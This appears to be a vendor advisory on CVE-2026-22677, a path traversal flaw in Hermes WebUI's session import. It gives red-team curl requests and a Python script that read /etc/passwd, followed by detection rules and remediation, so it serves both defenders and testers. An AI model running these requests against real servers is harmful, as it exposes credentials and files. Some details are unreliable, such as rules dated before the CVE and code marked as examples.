CVE-2026-22677
Executive Summary
CVE-2026-22677 is a path traversal vulnerability in the Hermes WebUI session import endpoint, affecting versions prior to 0.51.44. An authenticated attacker can exploit this flaw to read arbitrary files on the server by crafting a malicious session with an unrestricted workspace value. The vulnerability allows the attacker to supply a blocked filesystem root in the workspace field and then use relative paths in the session file API to access any file readable by the WebUI process. This poses a significant risk of sensitive data exposure, including configuration files, credentials, and other critical system files.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects the Hermes WebUI application directly. The software is typically deployed as a standalone binary or containerized service. Organizations should verify the integrity of their Hermes WebUI installation and ensure it is updated to the patched version.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Authenticated)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The threat level is considered Medium due to the requirement for authentication, but the potential for high confidentiality impact makes it a critical concern for environments where sensitive data is accessible.
Deep Dive & Mechanics
The vulnerability resides in the session import functionality of Hermes WebUI. When a user imports a session, the application processes a workspace field that defines the root directory for session files. The application fails to properly sanitize or restrict this workspace value, allowing an attacker to set it to an arbitrary filesystem root (e.g., / or C:\). Subsequently, when the session file API is used to read files, the attacker can supply relative paths (e.g., ../../../etc/passwd) to traverse outside the intended workspace and read any file that the WebUI process has access to.
The attack flow:
- Authenticate to the Hermes WebUI.
- Craft a malicious session import payload with
workspaceset to/(or another root). - Use the session file API to request files using relative paths, e.g.,
../../../etc/passwd. - The server returns the contents of the requested file.
This bypasses any intended restrictions because the workspace validation is insufficient, and the relative path traversal is not blocked.
Vulnerable vs. Patched Code
Vulnerable Code (prior to 0.51.44):
# Example vulnerable code snippet
def import_session(data):
workspace = data.get('workspace', '/default/workspace')
# No validation of workspace path
session_path = os.path.join(workspace, data['session_file'])
with open(session_path, 'r') as f:
return f.read()
Patched Code (0.51.44 and later):
# Example patched code snippet
import os
ALLOWED_WORKSPACES = ['/allowed/workspace1', '/allowed/workspace2']
def import_session(data):
workspace = data.get('workspace', '/default/workspace')
if workspace not in ALLOWED_WORKSPACES:
raise ValueError("Invalid workspace")
# Also sanitize relative paths
session_path = os.path.normpath(os.path.join(workspace, data['session_file']))
if not session_path.startswith(workspace):
raise ValueError("Path traversal detected")
with open(session_path, 'r') as f:
return f.read()
The patch introduces a whitelist of allowed workspaces and validates that the resolved path remains within the allowed workspace, preventing path traversal.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Hermes WebUI instance (version < 0.51.44)
- Valid credentials for an authenticated user
Exploitation Steps:
- Authenticate to the Hermes WebUI and obtain a session token.
- Craft a malicious session import payload using a tool like
curl:curl -X POST https://target-hermes/api/sessions/import \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"workspace": "/", "session_file": "../../etc/passwd"}' - Retrieve the file by calling the session file API:
curl -X GET "https://target-hermes/api/sessions/1/files?path=../../../etc/passwd" \ -H "Authorization: Bearer <token>" - Extract sensitive data such as configuration files, SSH keys, or database credentials.
Automated Exploit Script (Python):
import requests
target = "https://target-hermes"
token = "your_token_here"
# Step 1: Import malicious session
session_data = {
"workspace": "/",
"session_file": "../../etc/passwd"
}
r = requests.post(f"{target}/api/sessions/import", json=session_data, headers={"Authorization": f"Bearer {token}"})
session_id = r.json()["id"]
# Step 2: Read arbitrary file
r = requests.get(f"{target}/api/sessions/{session_id}/files", params={"path": "../../etc/passwd"}, headers={"Authorization": f"Bearer {token}"})
print(r.text)
Blue Team
Detection and Response:
- Monitor for unusual session imports – Look for imports with workspace values set to root (
/) or other unexpected paths. - Audit file access logs – Check for requests to the session file API with path traversal patterns (e.g.,
../,..\\). - Implement network segmentation – Restrict access to the Hermes WebUI to trusted IPs only.
- Enable logging – Ensure all API requests are logged with sufficient detail for forensic analysis.
- Deploy WAF rules – Block requests containing path traversal sequences in the workspace or file path parameters.
Honeypot Strategy:
- Deploy a decoy Hermes WebUI instance with fake sensitive files to detect attackers attempting to exploit this vulnerability.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/api/sessions/importwith JSON body containing"workspace": "/"or similar root paths. - HTTP GET requests to
/api/sessions/*/fileswithpathparameter containing../sequences.
- HTTP POST requests to
- File System IOCs:
- Unexpected access to files outside the intended workspace directory (e.g.,
/etc/passwd,/etc/shadow, application config files).
- Unexpected access to files outside the intended workspace directory (e.g.,
- Log IOCs:
- Error logs showing path traversal attempts or invalid workspace values.
- Access logs with unusual file paths in the session file API.
Detection Engineering
YARA Rule
rule CVE_2026_22677_Path_Traversal {
meta:
description = "Detects path traversal attempts in Hermes WebUI session import"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-22677"
strings:
$workspace_root = /"workspace"\s*:\s*"\// nocase
$path_traversal = /\.\.\/|\.\.\\/
condition:
$workspace_root or $path_traversal
}
Sigma Rule
title: Hermes WebUI Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit CVE-2026-22677 by supplying a root workspace or path traversal sequences
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: hermes
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/sessions/import'
cs-uri-query|contains:
- 'workspace": "/"'
- 'workspace": "C:\\'
condition: selection
falsepositives:
- Legitimate use of root workspace (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-22677 Hermes WebUI Path Traversal Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/sessions/import"; http_uri;
content:"workspace"; http_client_body;
content:"\"/\""; http_client_body;
distance:0;
sid:1000001;
rev:1;
metadata:created_at 2025-04-10, updated_at 2025-04-10;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Hermes WebUI to version 0.51.44 or later.
- Restrict network access to the WebUI to trusted IPs only.
- Review and rotate any credentials or secrets that may have been exposed.
Long-term Mitigations:
- Implement strict input validation for all user-supplied paths.
- Use a whitelist of allowed workspace directories.
- Apply the principle of least privilege to the WebUI process.
- Regularly audit and update dependencies.
Workarounds (if patching is not immediately possible):
- Deploy a Web Application Firewall (WAF) to block path traversal patterns.
- Disable the session import endpoint if not required.
- Monitor logs for suspicious activity and respond promptly.
Valters IT
Cyber Threat Intelligence & DevSecOps